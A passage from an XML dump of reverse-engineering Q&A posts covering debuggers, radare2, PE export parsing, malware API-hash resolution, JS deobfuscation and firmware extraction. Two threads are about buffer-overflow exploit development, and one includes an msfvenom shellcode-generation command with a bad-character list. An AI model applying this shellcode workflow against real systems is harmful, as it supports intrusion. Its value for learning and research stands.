  <row Id="22094" PostTypeId="1" CreationDate="2019-09-10T08:30:43.137" Score="1" ViewCount="64" Body="&lt;p&gt;I know that kernel modules are practically part of the kernel since it gets loaded inside it. But I am not sure if it really gets all privileges the system has. Can it read/write code inside the kernel without segfaults, etc.? I want to use kernel module for unwinding the stack to kernel level to backtrace every function my program calls.&lt;/p&gt;&#xA;" OwnerUserId="27474" LastActivityDate="2019-09-10T08:30:43.137" Title="How large are privileges of linux kernel module?" Tags="|kernel-mode|stack|kernel|system-call|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22095" PostTypeId="2" ParentId="22093" CreationDate="2019-09-10T09:45:01.977" Score="1" Body="&lt;p&gt;From &lt;em&gt;Procedure Call Standard for the ARM® Architecture&lt;/em&gt; (ARM IHI 0042E):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typedef: &lt;code&gt;va_list&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct __va_list {&#xA;void *__ap;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;code&gt;va_list&lt;/code&gt; may address any object in a parameter list. Consequently,&#xA;  the first object addressed may only have word alignment (all objects&#xA;  are at least word aligned), but any double-word aligned object will&#xA;  appear at the correct double-word alignment in memory. In C++,&#xA;  &lt;code&gt;__va_list&lt;/code&gt; is in namespace &lt;code&gt;std&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So basically it's just a pointer to the word-aligned arguments in memory.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-10T09:45:01.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22096" PostTypeId="2" ParentId="22088" CreationDate="2019-09-10T13:56:51.660" Score="1" Body="&lt;p&gt;I would recommend &lt;a href=&quot;https://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bindiff&lt;/a&gt; for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option will be to use &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLIRT&lt;/a&gt;, though I would prefer bindiff. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-09-10T13:56:51.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22097" PostTypeId="2" ParentId="22082" CreationDate="2019-09-10T14:04:05.540" Score="0" Body="&lt;p&gt;You can do it using &lt;code&gt;angr&lt;/code&gt; and their IL - &lt;code&gt;vex&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general logic will be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create angr project from the binary.&lt;/li&gt;&#xA;&lt;li&gt;Create angr cfg.&lt;/li&gt;&#xA;&lt;li&gt;Run on all cfg nodes.&lt;/li&gt;&#xA;&lt;li&gt;Get the vex representation of each instruction from the cfg node. &lt;/li&gt;&#xA;&lt;li&gt;On each instruction representation, check its &lt;code&gt;jumpkind&lt;/code&gt;. For example &lt;code&gt;'Ijk_Call'&lt;/code&gt; is a call, regardless of the CPU architecture. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-09-10T14:04:05.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22099" PostTypeId="1" AcceptedAnswerId="22108" CreationDate="2019-09-11T03:59:55.787" Score="1" ViewCount="1556" Body="&lt;p&gt;I am facing problem in finding bad characters because the hex codes are being replaced with \x3F &amp;amp; some other codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i7FaQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i7FaQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have all the 256 hex chars from \x01 to \xFF and as you can see many of the hex char is being replaced with \x3F and other chars and hence I am not able to figure out the bad chars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to figure out the bad chars &amp;amp; the chars which are being replaced, which are: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb4\xb8\xbc\xbd\xbe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I used msfvenom to generate the shellcode but getting below result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msfvenom -a x86 --platform windows -p windows/exec cmd=cmd.exe -b '\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x95\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb4\xb8\xbc\xbd\xbe' -f c&#xA;Found 11 compatible encoders&#xA;Attempting to encode payload with 1 iterations of x86/shikata_ga_nai&#xA;x86/shikata_ga_nai failed with A valid opcode permutation could not be found.&#xA;Attempting to encode payload with 1 iterations of generic/none&#xA;generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)&#xA;Attempting to encode payload with 1 iterations of x86/call4_dword_xor&#xA;x86/call4_dword_xor failed with A valid encoding key could not be found.&#xA;Attempting to encode payload with 1 iterations of x86/countdown&#xA;x86/countdown failed with Encoding failed due to a bad character (index=84, char=0x0d)&#xA;Attempting to encode payload with 1 iterations of x86/fnstenv_mov&#xA;x86/fnstenv_mov failed with A valid encoding key could not be found.&#xA;Attempting to encode payload with 1 iterations of x86/jmp_call_additive&#xA;x86/jmp_call_additive failed with Encoding failed due to a bad character (index=15, char=0x85)&#xA;Attempting to encode payload with 1 iterations of x86/xor_dynamic&#xA;Error: Bad character found in stub for the Dynamic key XOR Encoder encoder.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27714" LastEditorUserId="18317" LastEditDate="2019-09-11T14:46:03.067" LastActivityDate="2019-09-12T05:55:07.110" Title="The hex codes in being replaced while finding bad characters for Buffer overflow" Tags="|buffer-overflow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22100" PostTypeId="1" AcceptedAnswerId="22103" CreationDate="2019-09-11T10:40:32.747" Score="2" ViewCount="215" Body="&lt;p&gt;I'm trying to reverse a malware that builds its IAT at runtime. Due to my inexperience, I'm having trouble to understand this function that accepts into EAX a dword (maybe some sort of hash) and into EDX the base address of kernel32.dll. Could you point me how can I work it out? I can't use the decompiler right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0zQI7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0zQI7.png&quot; alt=&quot;DecryptionFunction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2019-09-11T19:37:53.947" Title="Recognize a decryption algorithm" Tags="|disassembly|malware|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22101" PostTypeId="2" ParentId="22099" CreationDate="2019-09-11T10:50:30.590" Score="0" Body="&lt;p&gt;I would try to go with a trial&amp;amp;error approach. Seems the restricted chars are inside the range from 0x80 to 0xa9 with some exclusions. If you're developing an exploit and you haven't got time to figure it out try to suppose these as bad chars and avoid their use with msfvenom encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have time, try to use a buffer like 0x41 0x41 0x41 0xbadchar 0x41 ... 0x41 proceeding one by one, in the end, you will figure it out precisely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Badchars hunting is time-intensive task ... :-|&lt;/p&gt;&#xA;" OwnerUserId="22655" LastActivityDate="2019-09-11T10:50:30.590" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22102" PostTypeId="1" CreationDate="2019-09-11T11:50:55.903" Score="1" ViewCount="393" Body="&lt;p&gt;Why does Immunity Debugger unable to start my application? I want to compare the differences of a software: Immunity Debugger can trace all assembly instruction with the &lt;em&gt;Add entries of all procedures&lt;/em&gt; option (&lt;em&gt;Run trace --&gt; Add entries of all procedures&lt;/em&gt;) and saves it to *.txt file (&lt;em&gt;Run trace --&gt; Log to file&lt;/em&gt;). I want to know if I can do the same in x64dbg? &lt;/p&gt;&#xA;" OwnerUserId="27336" LastEditorUserId="27336" LastEditDate="2019-09-12T12:32:00.287" LastActivityDate="2019-09-12T12:32:00.287" Title="Is there a way to trace the differences of a software in x64dbg?" Tags="|disassembly|debugging|tracing|compare|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22103" PostTypeId="2" ParentId="22100" CreationDate="2019-09-11T12:28:31.803" Score="3" Body="&lt;p&gt;The function parses the PE header to locate the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IMAGE_EXPORT_DIRECTORY&lt;/code&gt;&lt;/a&gt; which has the structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tuhSt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuhSt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;NumberOfNames&lt;/code&gt; contains the number of symbols exported by this PE and is located at an offset of &lt;code&gt;0x18&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AddressOfNames&lt;/code&gt; is a pointer to an array of null-separated list of exported function names. This is located at offset &lt;code&gt;0x20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;NumberOfNames&lt;/code&gt; value it iterates over the list of exported function names and calculates a hash value for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithm to calculate hash is something like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    // The name to hash&#xA;    char name[] = &quot;GetModuleFileNameA&quot;;&#xA;&#xA;    unsigned int hash = 0;&#xA;    unsigned char ch, cl;&#xA;&#xA;    for (int i=0; i&amp;lt;strlen(name); i++)&#xA;    {&#xA;        ch = ((hash &amp;gt;&amp;gt; 8) &amp;amp; 0xFF) ^ name[i];&#xA;        hash = (hash &amp;amp; 0xffff00ff) | (ch &amp;lt;&amp;lt; 8);&#xA;        hash = _rotl(hash, 8);        &#xA;        cl =  (hash &amp;amp; 0xFF) ^ ((hash &amp;gt;&amp;gt; 8) &amp;amp; 0xFF);&#xA;        hash = (hash &amp;amp; 0xFFFFFF00) | cl;&#xA;    }&#xA;    printf(&quot;%08X&quot;, hash);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the calculated hash matches, it returns the corresponding address of the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above code calculates the hash of &lt;code&gt;GetModuleFileNameA&lt;/code&gt; which comes out to &lt;code&gt;416F346F&lt;/code&gt;. The code can thus be assumed to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check here: &lt;a href=&quot;https://rextester.com/NIBW6473&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rextester.com/NIBW6473&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2019-09-11T19:37:53.947" LastActivityDate="2019-09-11T19:37:53.947" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22104" PostTypeId="2" ParentId="2103" CreationDate="2019-09-11T13:54:11.860" Score="2" Body="&lt;p&gt;You could try using &lt;a href=&quot;https://lelinhtinh.github.io/de4js/&quot; rel=&quot;nofollow noreferrer&quot;&gt;de4js&lt;/a&gt;. For the javascript snippet in the original post, de4js produces the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0x2815 = [&quot;3 1(){2 0=5;4 0}&quot;, &quot;|&quot;, &quot;split&quot;, &quot;x|myFunction|var|function|return|&quot;, &quot;replace&quot;, &quot;&quot;, &quot;\\w+&quot;, &quot;\\b&quot;, &quot;g&quot;];&#xA;eval(function (_0xf81fx1, _0xf81fx2, _0xf81fx3, _0xf81fx4, _0xf81fx5, _0xf81fx6) {&#xA;    _0xf81fx5 = function (_0xf81fx3) {&#xA;        return _0xf81fx3;&#xA;    };&#xA;    if (!_0x2815[5][_0x2815[4]](/^/, String)) {&#xA;        while (_0xf81fx3--) {&#xA;            _0xf81fx6[_0xf81fx3] = _0xf81fx4[_0xf81fx3] || _0xf81fx3;&#xA;        };&#xA;        _0xf81fx4 = [function (_0xf81fx5) {&#xA;            return _0xf81fx6[_0xf81fx5];&#xA;        }];&#xA;        _0xf81fx5 = function () {&#xA;            return _0x2815[6];&#xA;        };&#xA;        _0xf81fx3 = 1;&#xA;    };&#xA;    while (_0xf81fx3--) {&#xA;        if (_0xf81fx4[_0xf81fx3]) {&#xA;            _0xf81fx1 = _0xf81fx1[_0x2815[4]](new RegExp(_0x2815[7] + _0xf81fx5(_0xf81fx3) + _0x2815[7], _0x2815[8]), _0xf81fx4[_0xf81fx3]);&#xA;        };&#xA;    };&#xA;    return _0xf81fx1;&#xA;}(_0x2815[0], 6, 6, _0x2815[3][_0x2815[2]](_0x2815[1]), 0, {}));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the &lt;code&gt;eval&lt;/code&gt; radio button is selected, this reduces to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myFunction() {&#xA;    var x = 5;&#xA;    return x&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29581" LastEditorUserId="18317" LastEditDate="2019-09-11T14:40:40.130" LastActivityDate="2019-09-11T14:40:40.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22105" PostTypeId="2" ParentId="22084" CreationDate="2019-09-11T17:25:45.350" Score="1" Body="&lt;p&gt;I've run the following on the latest r2 from git:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;r2 -d ./example&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;after setting the breakpoint on main and running to it I'm getting the following disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x004004a6 b    668b04252810.  mov ax, word [loc.name]     ; [0x601028:2]=0xdead&#xA;0x004004ae      66bbafbe       mov bx, 0xbeaf&#xA;0x004004b2      66891c252810.  mov word [loc.name], bx     ; [0x601028:2]=0xdead&#xA;0x004004ba      31c0           xor eax, eax&#xA;0x004004bc      668b04252810.  mov ax, word [loc.name]     ; [0x601028:2]=0xdead&#xA;0x004004c4      b801000000     mov eax, 1&#xA;0x004004c9      cd80           int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The memory location shows, &lt;code&gt;0xdead @ 0x601028&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After executing 3 step instructions. This is what I get when running &lt;code&gt;px @ 0x601028&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; px@0x601028&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0 1  0123456789ABCDEF01&#xA;0x00601028  afbe 0000 0000 0000 0000 0000 0000 0000 0000  ..................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the change is reflected in memory but also when I check the disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0x004004a6 b    668b04252810.  mov ax, word [loc.name]     ; [0x601028:2]=0xbeaf rbx&#xA; 0x004004ae      66bbafbe       mov bx, 0xbeaf              ; rbx&#xA; 0x004004b2      66891c252810.  mov word [loc.name], bx     ; [0x601028:2]=0xbeaf rbx&#xA; ;-- rip:&#xA; 0x004004ba      31c0           xor eax, eax&#xA; 0x004004bc      668b04252810.  mov ax, word [loc.name]     ; [0x601028:2]=0xbeaf rbx&#xA; 0x004004c4      b801000000     mov eax, 1&#xA; 0x004004c9      cd80           int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now there's &lt;code&gt;0xbeaf @ 0x601028&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-09-11T17:25:45.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22106" PostTypeId="1" CreationDate="2019-09-11T22:19:54.977" Score="2" ViewCount="1186" Body="&lt;p&gt;I have firmware file in .bin format, but I need get firmware.img image file and Kernel uImage file for reflashing bricked device. How can I get these parts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Binwalk to extract content, &lt;code&gt;binwalk -e file&lt;/code&gt;:&#xA;it extracted two binaries, 8.5MB with 180188.squashfs extension and another binary 3.1MB, and squashfs-root directory with subfolders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;392           0x188           uImage header, header size: 64 bytes, header CRC: 0xEF73A583, created: 1969-12-31 23:59:59, image size: 1572736 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0x3661C6EC, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: &quot;SP2Xcybertan_rom_bin&quot;&#xA;13596         0x351C          gzip compressed data, maximum compression, from Unix, last modified: 2019-04-03 05:25:36&#xA;1573192       0x180148        uImage header, header size: 64 bytes, header CRC: 0x9053B22D, created: 1969-12-31 23:59:59, image size: 8474624 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xFC8655E0, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: &quot;SP2Xcybertan_rom_bin&quot;&#xA;1573256       0x180188        Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8473072 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2019-04-03 05:36:06&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Download &lt;a href=&quot;https://yadi.sk/d/RUyYX1B9Gk8-Wg&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2019-09-14T11:52:04.313" LastActivityDate="2019-09-14T11:52:04.313" Title="Extracting firmware image from binary" Tags="|binary-analysis|firmware|linux|arm|binwalk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22108" PostTypeId="2" ParentId="22099" CreationDate="2019-09-12T05:55:07.110" Score="1" Body="&lt;p&gt;The input string is probably decoded as &lt;a href=&quot;https://en.wikipedia.org/wiki/UTF-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;UTF-8&lt;/a&gt; string. The '?' appears because the encoding is invalid.&#xA;The easiest way to preserve the shellcode is probably use an ASCII encoder, since UTF-8 is backward compatible with ASCII.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-09-12T05:55:07.110" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22109" PostTypeId="1" CreationDate="2019-09-12T11:25:15.850" Score="0" ViewCount="247" Body="&lt;p&gt;For the record, I've read all stackexchange relevant answers on the topic (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14880/basic-reversing-question-about-local-variable&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15173/what-is-the-purpose-of-these-instructions-before-the-main-preamble&quot;&gt;here&lt;/a&gt;) plus other articles to fully grasp the concepts of &lt;em&gt;memory alignment&lt;/em&gt; and &lt;em&gt;CPU natural boundaries&lt;/em&gt;.&lt;br&gt;&#xA;But for some reason, I just can't understand the meaning of the following main preamble (given out by &lt;code&gt;radare2&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(fcn) sym.main 99&#xA;|   sym.main (int argc, char **argv, char **envp);&#xA;|           ; var int local_78h @ ebp-0x78&#xA;|           ; arg int arg_10h @ ebp+0x10&#xA;|           ; var int local_4h @ esp+0x4&#xA;|           ; DATA XREF from entry0 (0x8048417)&#xA;|           0x0804867d      55             push ebp&#xA;|           0x0804867e      89e5           mov ebp, esp&#xA;|           0x08048680      81ec88000000   sub esp, 0x88&#xA;|           0x08048686      83e4f0         and esp, 0xfffffff0&#xA;|           0x08048689      b800000000     mov eax, 0&#xA;|           0x0804868e      83c00f         add eax, 0xf&#xA;|           0x08048691      83c00f         add eax, 0xf&#xA;|           0x08048694      c1e804         shr eax, 4&#xA;|           0x08048697      c1e004         shl eax, 4&#xA;|           0x0804869a      29c4           sub esp, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Breakdown&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There seems to be a local array on the stack frame that takes up  &lt;em&gt;78h = 120d&lt;/em&gt; bytes on the stack, indicated by this line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           ; var int local_78h @ ebp-0x78&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good.&lt;br&gt;&#xA;Now the stack pointer is moved to make space for such an array on the stack, manipulating &lt;code&gt;esp&lt;/code&gt; to make sure the stack is aligned on &lt;em&gt;16-bytes boundaries&lt;/em&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048680      81ec88000000   sub esp, 0x88&#xA;|           0x08048686      83e4f0         and esp, 0xfffffff0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which effectively makes &lt;code&gt;esp&lt;/code&gt; a multiple of at least &lt;em&gt;16&lt;/em&gt; (&lt;strong&gt;least significant nibble&lt;/strong&gt; zeroed out), but let's for the sake of mathematical rigor say that &lt;code&gt;esp&lt;/code&gt; is now a multiple of &lt;em&gt;16k&lt;/em&gt;, with &lt;em&gt;k&lt;/em&gt; an arbitrary integer.&lt;br&gt;&#xA;All this makes perfect sense (see &lt;a href=&quot;http://www.songho.ca/misc/alignment/dataalign.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/16703211/why-128bit-variables-should-be-aligned-to-16byte-boundary&quot;&gt;here&lt;/a&gt; to fully understand the need for &lt;em&gt;16-bytes stack alignment&lt;/em&gt;, having to do with &lt;em&gt;SSE&lt;/em&gt; and whatnot).&lt;br&gt;&#xA;Now what I really can't seem to wrap my head around is the relevance of the subsequent instructions :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x08048689      b800000000     mov eax, 0&#xA;|           0x0804868e      83c00f         add eax, 0xf&#xA;|           0x08048691      83c00f         add eax, 0xf&#xA;|           0x08048694      c1e804         shr eax, 4&#xA;|           0x08048697      c1e004         shl eax, 4&#xA;|           0x0804869a      29c4           sub esp, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which as far as I could understand :&lt;br&gt;&#xA;1 - Made &lt;code&gt;eax&lt;/code&gt; equal to &lt;em&gt;10h&lt;/em&gt; (by the way why all these instructions to get to such a simple result for &lt;code&gt;eax&lt;/code&gt; ? Why not just make a &lt;code&gt;mov eax, 0x10&lt;/code&gt; ?)&lt;br&gt;&#xA;2 - Subtract that quantity from &lt;code&gt;esp&lt;/code&gt;, which is just gonna zero out the &lt;strong&gt;least significant 1 bit&lt;/strong&gt; in &lt;code&gt;esp&lt;/code&gt; (given that the &lt;em&gt;first nibble&lt;/em&gt; is null anyway) which is just gonna make &lt;code&gt;esp&lt;/code&gt; a multiple of &lt;em&gt;16(k+&lt;strong&gt;1&lt;/strong&gt;)&lt;/em&gt;, thus making the stack aligned on &lt;strong&gt;&lt;em&gt;32&lt;/strong&gt;-bytes boundaries&lt;/em&gt; if it was aligned on &lt;strong&gt;&lt;em&gt;16&lt;/strong&gt;-bytes boundaries&lt;/em&gt;, or make it aligned on &lt;strong&gt;&lt;em&gt;64&lt;/strong&gt;-bytes boundaries&lt;/em&gt; if it was aligned on &lt;strong&gt;&lt;em&gt;32&lt;/strong&gt;-bytes boundaries&lt;/em&gt;, and so on and so forth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do we need that for ?&lt;br&gt;&#xA;Is there something I got wrong in this whole analysis ?&lt;/p&gt;&#xA;" OwnerUserId="24851" LastEditorUserId="24851" LastEditDate="2019-09-12T19:48:26.800" LastActivityDate="2019-09-12T19:48:26.800" Title="x86 main preamble makes stack aligned on 32-bytes boundaries" Tags="|disassembly|x86|memory|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22110" PostTypeId="1" CreationDate="2019-09-12T11:58:29.830" Score="2" ViewCount="1532" Body="&lt;p&gt;I'm getting started on Java reverse engineering but I can't find a great tool. I'm currently using JD-Gui to decompile it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried PNF's JEB which is really perfect but it's only for Android stuff. Is there anything similar for standard Java ? Preferably free because JEB costs a lot for someone who doesn't use it a lot...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some features I'd like would be decompilation of course but also class / variable renaming, find usage, and standard features you could find in IDEs..&lt;/p&gt;&#xA;" OwnerUserId="29587" LastActivityDate="2019-09-14T03:04:37.207" Title="Java reverse engineering tool" Tags="|decompilation|java|byte-code|" AnswerCount="2" CommentCount="0" ClosedDate="2019-09-24T08:50:38.617" ContentLicense="CC BY-SA 4.0" />
  <row Id="22112" PostTypeId="1" CreationDate="2019-09-12T14:28:38.920" Score="0" ViewCount="126" Body="&lt;p&gt;Getting illegal access fault with error &lt;code&gt;The address 0xffdeb9f0 could not be accessed.&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to execute a shellcode in buffer overflow vulnerability. I am able to put the shell code at the right place in the memory but it's not getting executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/brE1p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/brE1p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3a7fv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3a7fv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27714" LastActivityDate="2019-09-13T09:51:50.763" Title="Getting illegal access fault with error :The address 0xffdeb9f0 could not be accessed.&quot;" Tags="|buffer-overflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22113" PostTypeId="2" ParentId="22109" CreationDate="2019-09-12T19:15:50.403" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There seems to be a local array on the stack frame that takes up 78h =&#xA;  120d bytes on the stack, indicated by this line :&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;no the local var is of type int and it takes 4 bytes on 32 bit machine&lt;br&gt;&#xA;it is located at the address ebp - 0x78&lt;br&gt;&#xA;the other one is again a int and is located at esp+4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the circus is probably some home grown obfuscation may be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all it does is subtract another 0x10 from esp &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically it is sub esp 0x98&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can check whats going on by emulating it or single stepping through it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simple check using python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; eax = 0&#xA;&amp;gt;&amp;gt;&amp;gt; eax&#xA;0&#xA;&amp;gt;&amp;gt;&amp;gt; eax = eax+0xf&#xA;&amp;gt;&amp;gt;&amp;gt; eax&#xA;15&#xA;&amp;gt;&amp;gt;&amp;gt; eax = eax + 0xf&#xA;&amp;gt;&amp;gt;&amp;gt; eax&#xA;30&#xA;&amp;gt;&amp;gt;&amp;gt; eax = eax &amp;gt;&amp;gt; 4&#xA;&amp;gt;&amp;gt;&amp;gt; eax&#xA;1&#xA;&amp;gt;&amp;gt;&amp;gt; eax = eax &amp;lt;&amp;lt; 4&#xA;&amp;gt;&amp;gt;&amp;gt; eax&#xA;16&#xA;&amp;gt;&amp;gt;&amp;gt; 